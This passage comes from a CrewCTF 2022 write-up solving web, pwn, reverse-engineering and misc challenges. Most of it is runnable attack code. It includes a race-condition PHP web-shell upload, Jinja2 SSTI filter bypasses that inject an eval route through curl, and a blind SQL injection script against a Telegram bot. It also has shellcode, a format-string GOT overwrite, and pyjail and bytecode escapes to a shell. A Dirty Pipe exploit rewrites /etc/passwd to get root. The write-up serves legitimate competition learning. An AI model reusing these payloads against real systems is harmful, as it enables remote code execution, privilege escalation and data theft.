files={"uploadedFile": ("peko.p", b'<?php system("cat /flag.txt"); ?>')},
)
def upload2():
while True:
requests.post(
f"{base_url}/",
files={
"uploadedFile": (".htaccess", b"AddType application/x-httpd-php .p")
},
)
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=upload).start()
Thread(target=upload2).start()
# crewctf{upload_rce_via_race}
EzChall
First, bypass a login function:
@app.route('/login', methods=['GET','POST'])
def login():
if 'user' in session:
return redirect(url_for('dashboard'))
else:
if request.method == "POST":
user, passwd = '', ''
user = request.form['user']
passwd = request.form['passwd']
if user == 'admin' and bdecode(passwd) == 'pass is admin ??' and len(passwd) == 24 and passwd != 'cGFzcyBpcyBhZG1pbiA/Pw==':
session['user'] = user
return redirect(url_for('dashboard'))
return render_template('login.html', msg='Incorrect !')
return render_template('login.html')
The bdecode
function is base64 decode, but it returns a str
instead of bytes
. The goal is to find another base64 string that decodes to pass is admin ??
besides cGFzcyBpcyBhZG1pbiA/Pw==
. Since base64 decoding can produce multiple different base64 strings that decode to the same result, a simple one is to change Pw==
to Pz==
.
After logging in, there is a blind jinja2 SSTI:
@app.route('/dashboard',methods=['GET'])
def dashboard():
if 'user' not in session:
return redirect(url_for('login'))
else:
if request.args.get('payload') is not None:
payload = request.args.get('payload')
if check_filter(payload):
render_template_string(payload)
return 'I believe you can overcome this difficulty ><'
return 'miss params'
The check_filter
function comes from filter.py
:
import string
UNALLOWED = [
'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','=','~']
def check_filter(input):
input = input.lower()
if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1:
return False
if len(input) < 115:
for char in input:
if char in string.digits:
return False
for i in UNALLOWED:
if i in input:
return False
return True
return False
Since {{
and }}
are blocked, use {% if xxx %}{% endif %}
instead. Additionally, basic Flask objects like request
and app
are blocked, but you can check what other objects are available under the jinja2 context:
import jinja2
@jinja2.contextfunction
def gc(c):
return c
# ...
render_template_string('{{gc().parent().keys()}}')
# dict_keys(['range', 'dict', 'lipsum', 'cycler', 'joiner', 'namespace', 'url_for', 'get_flashed_messages', 'config', 'request', 'session', 'g', 'gc'])
So, g.pop.__globals__.__builtins__
can access builtins, but to bypass the filter, it needs to be transformed into g["pop"]["__glob" "als__"]["__buil" "tins__"]
. This works because jinja2 allows accessing properties using brackets, and the string part is an implicit string concatenation feature inherited from C in Python.
With globals, the first thing I did was __import__('filter').UNALLOWED.clear()
, which simplifies bypassing most of the filters.
The next goal is to get a response, but it quickly becomes apparent that the remote server does not have external network access, so reverse shell is not an option. My approach was to directly from __main__ import app
, then use app.add_url_rule
to add a route that can directly eval
input. The rest is simply reading the flag.
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={% if g["pop"]["__glob" "als__"]["__buil" "tins__"]["__imp" "ort__"]("filter").UNALLOWED["clear"]() %}{%endif%}'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={{ g["pop"]["__globals__"]["__builtins__"]["exec"](request["args"].get("code")) }}' --data-urlencode $'code=from __main__ import app;\ndef pekomiko35():\n\tfrom flask import request\n\ttry:\t\treturn repr(eval(request.args.get("code")))\n\texcept Exception as ex:\n\t\treturn repr(ex)\n\napp.add_url_rule("/pekomiko35", view_func=pekomiko35)'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/pekomiko35' -G --data-urlencode 'code=open("/flag").read()'
The official solution uses the session to transmit the flag:
{% set x=session.update({"a":cycler["__in" "it__"]["__glo" "bals__"]["os"]["popen"]("rev /flag")["re" "ad"]()})%}
However, this actually doesn't work because the filter contains the
=
character, and the author said they originally intended to block the==
character.
EzChall Again
This challenge is almost the same as the previous one, except that filter.py
blocks more things:
import string
UNALLOWED = [
'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat','if', 'end', 'for', 'sum', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','==','~']
def check_filter(input):
input = input.lower()
if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1 or input.count('%') > 2:
return False, 'count'
if len(input) < 115:
for char in input:
if char in string.digits:
return False, f'digit: {char}'
for i in UNALLOWED:
if i in input:
return False, i
return True, ''
return False, 'len'
This causes my {% if xxx %}{% endif %}
payload to fail. However, checking the official documentation reveals many usable options, such as {% include xxx %}
. After modifying the previous payload, my solution still works.
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={%include g["pop"]["__glob" "als__"]["__buil" "tins__"]["__imp" "ort__"]("filter").UNALLOWED["clear"]()%}'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={{ g["pop"]["__globals__"]["__builtins__"]["exec"](request["args"].get("code")) }}' --data-urlencode $'code=from __main__ import app;\ndef pekomiko35():\n\tfrom flask import request\n\ttry:\t\treturn repr(eval(request.args.get("code")))\n\texcept Exception as ex:\n\t\treturn repr(ex)\n\napp.add_url_rule("/pekomiko35", view_func=pekomiko35)'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/pekomiko35' -G --data-urlencode 'code=open("/flag").read()'
Robabikia
This challenge is a sourceless Telegram bot, with a /desc
command that shows an error when /desc '
is used. Further testing confirms it is SQL injection, but it seems to replace whitespace characters, so /*a*/
is used to bypass (Telegram treats **
as markdown).
Further testing reveals the target table name is items
, with four columns id, description, value, price
, and the flag is hidden in the value of a certain row. The response also indicates a whitelist, so union select cannot be used to get the flag, requiring blind SQLi.
For blind SQLi, a method to query programmatically is needed. After some research, I found this method. Implementing this method allows using your own account to send and receive messages to the bot in Python, and the rest is binary searching each character.
from telegram.client import Telegram # pip install python-telegram
from pprint import pp
import asyncio
# https://my.telegram.org/apps
tg = Telegram(
api_id="XX",
api_hash="XX",
phone="XX",
database_encryption_key="XX",
)
tg.login()
result = tg.get_chats()
result.wait()
# if result.error:
# print(f"get chats error: {result.error_info}")
# else:
# print(f"chats:")
# pp(result.update)
bot_id = 5317979329
class SendMessageException(Exception):
def __init__(self, error_info):
self.error_info = error_info
msg_handlers = []
def send_msg(msg):
fut = asyncio.Future()
result = tg.send_message(
chat_id=bot_id,
text=msg,
)
result.wait()
if result.error:
fut.set_exception(SendMessageException(result.error_info))
else:
def handler(msg):
# https://stackoverflow.com/questions/53090005/futures-set-result-from-a-different-thread
fut.get_loop().call_soon_threadsafe(fut.set_result, msg)
# # pp(result.update)
msg_handlers.append(handler)
return fut
def new_message_handler(update):
if update["message"]["is_outgoing"]:
return
message_content = update["message"]["content"]
chat_id = update["message"]["chat_id"]
if chat_id == bot_id and message_content["@type"] == "messageText":
text = message_content.get("text", {}).get("text", "")
print(f"Received {text} from {chat_id}")
# pp(update)
if len(msg_handlers) > 0:
msg_handlers.pop(0)(text)
tg.add_message_handler(new_message_handler)
async def search_char(idx):
l = 20
r = 127
while r - l > 1:
print(idx, l, r)
m = (l + r) // 2
cmd = f"/desc xxj'/*a*/AND/*a*/1=0/*a*/union/*a*/select/*a*/description/*a*/FROM/*a*/items/*a*/where/*a*/value/*a*/LIKE/*a*/'crew%'/*a*/AND/*a*/unicode(substr(value,{idx},{idx}))<{m} --"
resp = await send_msg(cmd)
if "flag" in resp:
r = m
else:
l = m
return chr(l)
async def test():
print("Receiving old messages...")
await asyncio.sleep(5)
flag = "crew{U53_fa57_WAY_1n_5QL_1nj3C710N_1N_t3l3_B0t}"
while not flag.endswith("}"):
flag += await search_char(len(flag) + 1)
print(flag)
loop = asyncio.get_event_loop()
try:
asyncio.run(test())
finally:
tg.stop()
pwn
Wiznu
Just ret2shellcode and orw:
from pwn import *
context.arch = "amd64"
sc = asm(
shellcraft.pushstr(b"flag")
+ """
mov rax, rsp
xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall
xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall
xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
)
# io = process('./chall')
io = remote("wiznu.crewctf-2022.crewc.tf", 1337)
io.recvuntil(b"Special Gift for Special Person : ")
addr = int(io.recvlineS(), 16)
io.send(sc.ljust(264) + p64(addr))
io.interactive()
# crew{ORW_come_to_the_rescue_st4rn_h3r3!}
Ubume
A straightforward format string exploit, just write exit@got
to the win
function:
from pwn import *
context.arch = "amd64"
elf = ELF("./chall")
# io = process('./chall')
io = remote("ubume.crewctf-2022.crewc.tf", 1337)
pl = fmtstr_payload(6, {elf.got["exit"]: elf.sym["win"]})
io.sendline(pl)
io.interactive()
# crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}
Takumi
This challenge involves pwning a C extension for Python, essentially a heap type. However, there is a severe design flaw that allows you to escape the pyjail and get a shell.
The function that checks the input Python code is as follows:
def is_bad_str(code):
code = code.lower()
# I don't like these words :)
for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
if s in code:
return True
return False
Then it is inserted into the placeholder (/** code **/
) and executed:
from _note import *
from sys import modules
del modules['os']
keys = list(__builtins__.__dict__.keys())
for k in keys:
# present for you
if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']:
del __builtins__.__dict__[k]
/** code **/
The bypass is simple, just one line:
modules['po''six'].system('sh')
The payload script:
from pwn import *
def is_bad_str(code):
code = code.lower()
# I don't like these words :)
for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
if s in code:
print(s)
return True
return False
code = '''
modules['po''six'].system('sh')
EOF
'''
print(is_bad_str(code))
io = remote('takumi.crewctf-2022.crewc.tf', 1337)
# io = remote('localhost', 17012)
io.send(code.encode())
io.interactive()
# crew{TAKUMI_KILLING_SPREEE_HUAHUAHUAHUAHUA_LINZ_IS_HERE}
Additionally, another interesting bypass is to add an extra indent at the beginning, causing your code to run inside the loop before the builtins are cleared.
qKarachter
This challenge involves pwning a custom kernel module to get root, but again, there is a severe design flaw that allows you to solve it without pwning.
First, the kernel version is 5.8.1, and testing reveals that the Dirty Pipe exploit can be used to get root directly. This is how I got the flag:
from pwn import *
from base64 import b64encode
from tqdm import tqdm
with open("./rootfs/exp", "rb") as f:
# https://dirtypipe.cm4all.com/
# musl-gcc exp.c -static -o exp -O2
data = f.read()
# io = process(['qemu-system-x86_64','-m','64M','-kernel', './bzImage', '-initrd', './rootfs.cpio', '-append', 'console=ttyS0 oops=panic panic=1 kpti=1 kaslr quiet', '-cpu', 'kvm64,+smep,+smap', '-monitor', '/dev/null', '-nographic'], stdout=PIPE)
io = remote("qkarachter.crewctf-2022.crewc.tf", 1337)
chunk_size = 512
for i in tqdm(range(0, len(data), chunk_size)):
io.recvuntil(b" $ ")
b64 = b64encode(data[i : i + chunk_size]).decode()
io.sendline(f'(echo "{b64}" | base64 -d >> /home/user/exp) &'.encode())
context.log_level = "debug"
io.recvuntil(b" $ ")
io.sendline(b"chmod +x /home/user/exp")
io.recvuntil(b" $ ")
io.sendline(b"passwd_tmp=$(cat /etc/passwd|head)")
io.recvuntil(b" $ ")
io.sendline(b'/home/user/exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"')
io.recvuntil(b" $ ")
io.sendline(b"su root")
io.recvuntil(b" # ")
io.sendline(b"id")
io.recvuntil(b" # ")
io.sendline(b"cat /flag")
io.interactive()
# crew{k3rn3l_Q_ch4rach73r_d3v1c3_pwn1nG_1z_fuN!!!!}
Additionally, there is an even simpler solution, which I saw posted by ptr-yudai on Discord:
/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ rm /bin/halt
/ $ echo "#!/bin/sh" > /bin/halt
/ $ echo "/bin/sh" >> /bin/halt
/ $ chmod +x /bin/halt
/ $ exit
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
This is because the permissions are not set correctly:
/ $ ls -l /bin/halt
-rwsrwxrwx 348 root root 973200 Mar 21 13:23 /bin/halt
And the last few lines of /init
execute the following commands:
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
halt -d 1 -n -f
So, by overwriting /bin/sh
(or /bin/umount
), you can execute a shell as root.
rev
locker
The reverse part of this challenge was done by artis24106, and I only solved the remaining crypto part.
The program reads files under the imp0rt4nt_f1l3s
directory and encrypts them in lexicographical order. The given encrypted files are rfc1087.txt.crewcrypt
and secret.txt.crewcrypt
(in lexicographical order).
The encryption process treats every 1024 bytes of the file as a block and uses two random keys and nonces for encryption. The function to encrypt a block is roughly as follows:
def enc(key1, nonce1, key2, nonce2, plaintext, swap=False):
ret = []
for i in range(len(plaintext)):
cnt1, cnt2 = i % 1024, (i * 2) % 1024
if swap:
cnt1, cnt2 = cnt2, cnt1
out = chacha20_encrypt(key1, nonce1, plaintext[i : i + 1], cnt1)
out = chacha20_encrypt(key2, nonce2, out, cnt2)
ret.append(out[0])
return bytes(ret)
The swap parameter changes with each block, i.e., the first block swap=False
, the second block swap=True
, and so on. This parameter does not reset between encrypting different files.
Additionally, after encrypting a file, the next set of keys and nonces are updated:
def update(key, nonce):
tmp = []
for i in range(1024):
t = chacha20_encrypt(key, nonce, b"\x00", i)
tmp.append(t[0])
tmp = bytes(tmp)
return tmp
tmp = sha256(tmp[:512]).digest() + sha256(tmp[512:]).digest()
# (new_key, new_nonce)
return (tmp[0x00:0x20], tmp[0x20:0x2C])
It can be inferred that deriving the next set of keys only requires the first 1024 bytes of the keystream.
First, the plaintext of rfc1087.txt
can be obtained from https://www.rfc-editor.org/rfc/rfc1087.txt
. Comparing the sizes reveals that the encrypted version is only 24 bytes larger, which is because it appends the nonce1 twice to the encrypted file.
By XORing the plaintext and ciphertext and splitting it into 1024-byte blocks, it can be seen that the keystreams for blocks 1, 3 and 2, 4 are the same.
The remaining task is to use z3 to represent the 2048 bytes of keystream for key1 and key2 with symbolic variables, and then solve for the correct keystream by making the previous keystreams equal.
The actual keystream obtained will have 256 possibilities, so a small brute force search is needed to find the correct next set of keys to decrypt secret.txt
.
from chacha20 import chacha20_encrypt
# https://github.com/Alef-Burzmali/ChaCha20-py/blob/master/chacha20.py
from hashlib import sha256
with open("rfc1087.txt", "rb") as f:
plaintext = f.read()
with open("rfc1087.txt.crewcrypt", "rb") as f:
ciphertext = f.read()
with open("secret.txt.crewcrypt", "rb") as f:
secretct = f.read()
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
def xorlist(a, b):
return [x ^ y for x, y in zip(a, b)]
def to_blocks(data, sz):
return [data[i : i + sz] for i in range(0, len(data), sz)]
def gen_ks(key, nonce, sz):
return b"".join([chacha20_encrypt(key, nonce, b"\0", i) for i in range(sz)])
def derive_key(ks):
tmp = sha256(ks[:512]).digest() + sha256(ks[512:]).digest()
return (tmp[0x00:0x20], tmp[0x20:0x2C])
bs = 1024
pblocks = to_blocks(plaintext, bs)
cblocks = to_blocks(ciphertext, bs)
even_ks = xor(pblocks[0], cblocks[0])
odd_ks = xor(pblocks[1], cblocks[1])
from z3 import *
ks1_sym = [BitVec(f"ks1_{i}", 8) for i in range(1024)]
ks2_sym = [BitVec(f"ks2_{i}", 8) for i in range(1024)]
even_ks_sym = xorlist(ks1_sym, ks2_sym[::2] * 2)
odd_ks_sym = xorlist(ks1_sym[::2] * 2, ks2_sym)
sol = Solver()
for x, y in zip(even_ks_sym, even_ks):
sol.add(x == y)
for x, y in zip(odd_ks_sym, odd_ks):
sol.add(x == y)
while sol.check() == sat:
m = sol.model()
ks1 = bytes([m.eval(s).as_long() for s in ks1_sym])
ks2 = bytes([m.eval(s).as_long() for s in ks2_sym])
key1, nonce1 = derive_key(ks1)
key2, nonce2 = derive_key(ks2)
kks1 = gen_ks(key1, nonce1, len(secretct) * 2)
kks2 = gen_ks(key2, nonce2, len(secretct) * 2)
secret = xor(xor(kks1[::2] * 2, kks2), secretct)
print(secret)
sol.add(ks1_sym[0] != ks1[0])
# crew{pls_b3_r3sp0ns1bl3_0n_th3_int3rn3t_m4ny_thx}
misc
Kinda Arbitrary Code Execution
#!/usr/bin/python3.10
import marshal
import types
import os
import base64
# Want to make sure to be on linux
system = os.name
raw = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00\xf3\x18\x00\x00\x00t\x00d\x01k\x03s\x06J\x00\x82\x01t\x01d\x02\x83\x01\x01\x00d\x00S\x00\xa9\x03N\xda\x02nt\xfa@You are very restricted; sh && other stuff would be nice to have)\x03\xda\x06system\xda\x05print\xda\n__import__\xa9\x00r\x08\x00\x00\x00r\x08\x00\x00\x00\xfa\x08chall.py\xda\x01g\x0c\x00\x00\x00\xf3\x04\x00\x00\x00\x0c\x01\x0c\x01'
f = types.FunctionType(marshal.loads(raw), globals(), 'f')
code = base64.b64decode(input())
if code:
f.__code__ = f.__code__.replace(co_code=code)
print(f())
This challenge is a Python bytecode pyjail, with an existing function that allows you to replace parts of the bytecode and execute it.
Observing its code object reveals:
co_names: ('system', 'print', '__import__')
co_consts: (None, 'nt', 'You are very restricted; sh && other stuff would be nice to have')
The global system
value is 'posix'
, so using bytecode to load __import__
, then importing posix
and calling system
on that string will get a shell.
#!/usr/bin/python3.10
import marshal
import types
import os
import base64
import dis
from dis import opmap
# Want to make sure to be on linux
system = os.name
raw = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00\xf3\x18\x00\x00\x00t\x00d\x01k\x03s\x06J\x00\x82\x01t\x01d\x02\x83\x01\x01\x00d\x00S\x00\xa9\x03N\xda\x02nt\xfa@You are very restricted; sh && other stuff would be nice to have)\x03\xda\x06system\xda\x05print\xda\n__import__\xa9\x00r\x08\x00\x00\x00r\x08\x00\x00\x00\xfa\x08chall.py\xda\x01g\x0c\x00\x00\x00\xf3\x04\x00\x00\x00\x0c\x01\x0c\x01'
f = types.FunctionType(marshal.loads(raw), globals(), 'f')
# code = base64.b64decode(input())
# if code:
# f.__code__ = f.__code__.replace(co_code=code)
# print(f())
print(f.__code__.co_names)
print(f.__code__.co_consts)
dis.dis(f)
bc = bytes(
[
opmap['LOAD_GLOBAL'], 2,
opmap['LOAD_GLOBAL'], 0,
opmap['CALL_FUNCTION'], 1,
opmap['LOAD_ATTR'], 0,
opmap['LOAD_CONST'], 2,
opmap['CALL_FUNCTION'], 1,
opmap['RETURN_VALUE'],0
]
)
print(base64.b64encode(bc))
f.__code__ = f.__code__.replace(co_code=bc)
print(f())
Even Less Arbitrary Code Execution
#!/usr/bin/python3.10
import base64
import types
names = base64.b64decode(input('Enter names: '), validate=False)
code = base64.b64decode(input('Enter code: '), validate=False)
def f():
pass
f.__code__ = f.__code__.replace(
co_names=(*types.FunctionType(f.__code__.replace(co_code=names),{})(),),
co_code=code
)
print(f())
This challenge is an advanced version of the previous one, requiring input of bytecode for two functions. The first function should return a tuple or list representing the co_names
of the second function. So, by making the first function return the appropriate string, the second function can easily get a shell.
The difficulty lies in generating strings without co_consts
. I had previously written related code in 0CTF - pypypypy, so I copied it over.
#!/usr/bin/python3.10
import base64
import types
from dis import opmap
import dis
# names = base64.b64decode(input('Enter names: '), validate=False)
# code = base64.b64decode(input('Enter code: '), validate=False)
def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)
def gen_num_op(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 1:
return one
half = gen_num_op(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret
def gen_str(s):
# assuming stack top is 'c'
assert len(s) > 0
if len(s) == 1:
return bytes(
[
*gen_num_op(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num_op(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)
def gen_str_wrap(s):
return gen_c() + gen_str(s)
def f():
pass
names = bytes([
*gen_str_wrap('exec'),
*gen_str_wrap('input'),
opmap['BUILD_TUPLE'], 2,
opmap['RETURN_VALUE'], 0
])
# dis.dis(namef)
print(*types.FunctionType(f.__code__.replace(co_code=names),{})())
code = bytes([
opmap['LOAD_GLOBAL'], 0,
opmap['LOAD_GLOBAL'], 1,
opmap['CALL_FUNCTION'], 0,
opmap['CALL_FUNCTION'], 1,
opmap['RETURN_VALUE'], 0
])
print(base64.b64encode(names))
print(base64.b64encode(code))
f.__code__ = f.__code__.replace(
co_names=(*types.FunctionType(f.__code__.replace(co_code=names),{})(),),
co_code=code
)
print(f())
Additionally, this is the official solution by the author (Blupper), which is conceptually similar but written more simply and clearly:
from base64 import b64encode
import dis
def BUILD_ZERO():
return [
('LOAD_CONST', 0), # None
'UNARY_NOT',
'UNARY_NOT', # False
'DUP_TOP',
'BINARY_MULTIPLY' # False * False = 0
]
def BUILD_NUMBER(n):
if n == 0:
return BUILD_ZERO()
ins = [
('LOAD_CONST', 0), # None
'UNARY_NOT', # True
'DUP_TOP',
'BINARY_MULTIPLY', # True * True = 1
]
diff = n - 1
ins += ['DUP_TOP'] * diff
ins += ['BINARY_ADD'] * diff
return ins
def BUILD_LETTER(ch):
return [
*BUILD_NUMBER(ord(ch)),
*BUILD_NUMBER(1),
*BUILD_NUMBER(1),
('BUILD_SLICE', 2),
'FORMAT_VALUE', # 'slice(1, 1, None)'
*BUILD_NUMBER(3),
'BINARY_SUBSCR', # 'c'
('FORMAT_VALUE', 4) # format(n, 'c') is the same as chr(n)
]
def BUILD_STRING(s):
ins = []
for ch in s:
ins += BUILD_LETTER(ch)
ins += [('BUILD_STRING', len(s))]
return ins
def assemble(instructions):
bytecode = b''
for instr in instructions:
if type(instr) == str:
instr = (instr,)
if len(instr) == 2:
opcode = dis.opmap[instr[0]]
arg = instr[1]
elif len(instr) == 1:
opcode = dis.opmap[instr[0]]
arg = 0
bytecode += bytes([opcode, arg])
return bytecode
names = assemble([
*BUILD_STRING('os'),
*BUILD_STRING('system'),
('BUILD_TUPLE', 2),
'RETURN_VALUE'
])
code = assemble([
*BUILD_NUMBER(0),
('BUILD_LIST', 0),
('IMPORT_NAME', 0),
('LOAD_METHOD', 1),
*BUILD_STRING('sh'),
('CALL_METHOD', 1),
'RETURN_VALUE'
])
print(b64encode(names))
print(b64encode(code))